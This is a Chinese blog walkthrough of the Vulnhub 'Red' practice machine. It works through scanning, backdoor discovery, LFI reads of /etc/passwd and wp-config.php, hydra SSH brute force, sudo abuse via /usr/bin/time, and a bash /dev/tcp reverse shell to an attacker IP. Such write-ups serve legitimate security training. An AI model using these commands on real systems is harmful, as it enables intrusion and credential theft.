当前位置: 首页 > news >正文

Vulnhub red靶机渗透攻略详解

一、安装靶机

靶机下载地址:https://download.vulnhub.com/red/Red.ova

下载完成使用VM打开即可,如果出现弹窗ova有问题点击重试稍等就可以安装成功。

二、主机发现

查看靶机网络连接方式所处网段。右击靶机找见设置查看靶机的网络连接方式,查看VM虚拟接网络设置,改为NET模式网段。我们给他确定在一个网段内即可。

接下来就可以使用工具进行主机扫描了,如果使用其他的虚拟机记得要处于同一网络连接方式。这里使用的是kali的nmap扫描的。直接扫描是扫描不出来的,可能是虚拟机的网卡配置存在问题。

nmap -O 192.168.29.1/24

修改虚拟机网卡接口配置,在刚刚启动虚拟机的时候按住shift键,出现类似下图界面。

按e键进入修改界面找到 ro ******** 这一部分,可能有所差异,如果ro后面有字符 则直接在后面添加 rw single init=/bin/bash 如果没有字符则直接将ro改为 rw single init=/bin/bash。

rw single init=/bin/bash

修改完后 Ctrl + X 进入bash shell 界面,输入ip a 查看网卡ens33。

ip a

修改网络配置文件 /etc/network/interfaces 文件(没有的话去/etc/netplan目录下的yaml文件),如果/输不出来就一级级目录跳转。将里面的内容修改为下图所示。然后重启虚拟机。

vi /etc/network/interfaces

这时候再去扫描,可以找到我们靶机的地址:192.168.29.132

nmap -O 192.168.29.1/24

三、端口扫描

使用nmap详细扫描全部端口,可以看到开放了22、80端口,都访问一下。

nmap -A -p- -T4 192.168.29.132

四、目录探测

使用我们kali对目标靶机进行目录探测,

gobuster dir -u http://192.168.29.132/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

出现下述问题别慌,是可以解决的

cd /usr/share/wordlists/dirbuster  apt-get updateapt install gobuster

安装完后,继续执行咱们的代码。

再访问一下robots.txt,看看有什么内容。给出了一个新的网址域名。

五、web信息收集

通过目录探测我们找到了很多目录,先访问一下我们的网站,可以看到这个网站应该是以前被黑客打过并且还留下来了后门。

在我们点击其他功能的时候出现了其他域名,并且告诉我们没有找不到网站,观察URL,这里面的网址和我们访问robots的时候给我们的网址是一样的,所以我们还需要更改我们的配置文件,这样我们才能够跳转到相应界面。

因为我们是在Windows上访问我们的网站所以更改的是Windows的配置文件hosts,没有权限按下列步骤更改权限

更改完权限后执行下列代码。

C:\Windows\System32\drivers\etc\hosts		//配置文件地址192.168.29.129	earth.local		terratest.earth.local		//把这个写入到hosts文件ipconfig /flushdns		//更新配置 Windows中cmd执行

在此访问就可以正常访问了,按照渗透过程慢慢来,查看页面源代码发现在http://redrocks.win/2021/10/24/hello-world/的源代码中存在注释。

注释叫我们去找一个Mr. Miessler的人寻求帮助,去谷歌找他,毕竟不是国内人。

根据它的提示需要我们下载seclists,我们可以明显的看到靶机所用为WordPress,是在php运行的猜测可能是php的后门,所以用 seclists里的 CommonBackdoors-PHP.fuzz.txt 扫描。

使用dirserach进行扫描,使用我们刚刚下载的字典。使用前先最好是先查找一下字典所在位置,以免路径错误。

find / -name "CommonBackdoors-PHP.fuzz.txt"
gobuster dir -u http://redrocks.win/ -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt

扫描结束我们可以看到是有一个500状态码的一个目录,猜测可能会有参数指定,或许为文件包含漏洞。使用wfuzz测试。建议把key参数往前挪一挪,要不后面容易超时。

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

根据扫描结果可以知道那个参数为key。访问一下可以确定是这个参数。

刚刚猜测是文件包含漏洞,所以我们查看一下里面的文件例如:/etc/passwd

六、漏洞利用、反弹shell

可以确定是文件包含漏洞,利用php伪协议看一下页面源代码,里面是base64编码,解码后可以看见源代码。

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php

没有什么有用信息,因为使用的是WordPress,所以查找其配置文件,解码后看看有什么有用信息。

http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php

在该文件配置里面我们可以看见有一组用户,密码凭证为'R3v_m4lwh3r3_k1nG!!',我们使用hashcat重新生成一个密码字典,并且还得使用base64规则,毕竟这么多东西都是使用的base64。

echo "R3v_m4lwh3r3_k1nG\!\!" > pass.txt
hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

如果出现 Device #1: Not enough allocatable device memory for this attack.错误可以增加虚拟机设置内存,改为4GB即可(虚拟机关机修改后重启)。

以下就是我们生成的密码。

根据生成的密码进行爆破,可以得到ssh的密码。

hydra -l john -P passlist.txt ssh://192.168.29.132

进行ssh连接,成功建立ssh连接。(一会就会被踢出来,所以要不停的进行重新登录)

ssh john@192.168.29.132
密码就是爆出来的密码

查看权限和可执行命令(为了下一步建立长久交互准备),ippsec可以执行time命令。

whoami
sudo -l		//查看可执行命令

切换到ippsec用户进行反弹shell。

nc -lvvp 4444		//4444监听端口
sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.241.128/4444 0>&1

获得长久的交互点,后续进行提权。

http://www.dtcms.com/a/300421.html

相关文章:

  • PHP框架之Laravel框架教程:2. 控制器、路由、视图简单介绍
  • Baumer工业相机堡盟工业相机如何通过YoloV8深度学习模型实现标签条码一维码的检测(C#代码,UI界面版)
  • WPFC#超市管理系统(2)顾客管理、供应商管理、用户管理
  • MySQL ROUTER安装部署
  • EasyExcel使用(二:写出)
  • git 提交时排除一个或多个文件
  • mac系统彻底删除mysql并重装
  • 【LeetCode】LRU 缓存 题解
  • 在Podman/Docker容器中为Luckfox Lyra Zero W编译SDK:终极排错指南
  • C 语言第 10 天学习笔记:字符串基础操作与相关函数
  • 在docker中安装frp实现内网穿透
  • Libevent(4)之使用教程(3)配置
  • 比特币运行机制全解析:区块链、共识算法与数字黄金的未来挑战
  • 【micro:bit】从入门到放弃(八):超声波测距、小车巡线、红外避障
  • Redis对象机制详解
  • vue3.6更新哪些内容
  • 如何在 InsCodeAI 上搭建并使用 Jupyter Notebook 环境?
  • spring gateway 配置http和websocket路由转发规则
  • 零基础学习性能测试第五章:JVM性能分析与调优-GC垃圾分代回收机制与优化
  • JVM terminated. Exit code=1
  • vmware虚拟机中显示“网络电缆被拔出“的解决方法
  • MySQL存储过程与触发器
  • systemtick使用详解章
  • 计数dp(基础)
  • 【AI】联网模式
  • 【micro:bit】从入门到放弃(六):示例蜂鸣器音乐、摇色子、光照强度、串口调试、麦克风
  • vulhub Earth靶场攻略
  • Scrapy分布式爬虫数据统计全栈方案:构建企业级监控分析系统
  • 慧星云新增大模型服务:多款大模型轻松调用
  • 【leetGPU】1. Vector Addition